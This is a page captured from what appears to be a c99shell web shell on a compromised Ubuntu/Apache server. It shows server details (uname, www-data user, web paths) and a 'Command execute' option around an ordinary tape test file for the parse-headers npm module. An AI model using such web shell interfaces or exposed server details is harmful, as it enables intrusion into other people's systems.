Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/invoice_pdf/node_modules/parse-headers/ drwxr-xr-x | |
| Viewing file: Select action/file-type: var test = require('tape')
, parse = require('./parse-headers')
, headers1 = [
''
, 'Date: Sun, 17 Aug 2014 16:24:52 GMT'
, 'Content-Type: text/html; charset=utf-8'
, 'Transfer-Encoding: chunked'
, ''
]
, headers2 = [
''
, 'Date: Sun, 17 Aug 2014 16:24:52 GMT'
, 'Content-Type: text/html; charset=utf-8'
, 'Transfer-Encoding: chunked'
, 'Set-Cookie: Foo'
, 'set-Cookie: bar'
, 'set-cookie: bong'
]
test('sanity check', function (t) {
t.deepEqual(parse(), {})
t.deepEqual(parse(''), {})
t.end()
})
test('simple', function (t) {
t.deepEqual(
parse(headers1.join('\r\n'))
, {
date: 'Sun, 17 Aug 2014 16:24:52 GMT'
, 'content-type': 'text/html; charset=utf-8'
, 'transfer-encoding': 'chunked'
}
)
t.deepEqual(
parse(headers1.join('\n'))
, {
date: 'Sun, 17 Aug 2014 16:24:52 GMT'
, 'content-type': 'text/html; charset=utf-8'
, 'transfer-encoding': 'chunked'
}
)
t.end()
})
test('duplicate keys', function (t) {
t.deepEqual(
parse(headers2.join('\r\n'))
, {
date: 'Sun, 17 Aug 2014 16:24:52 GMT'
, 'content-type': 'text/html; charset=utf-8'
, 'transfer-encoding': 'chunked'
, 'set-cookie': [ 'Foo', 'bar', 'bong' ]
}
)
t.deepEqual(
parse(headers2.join('\n'))
, {
date: 'Sun, 17 Aug 2014 16:24:52 GMT'
, 'content-type': 'text/html; charset=utf-8'
, 'transfer-encoding': 'chunked'
, 'set-cookie': [ 'Foo', 'bar', 'bong' ]
}
)
t.end()
}) |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]-- |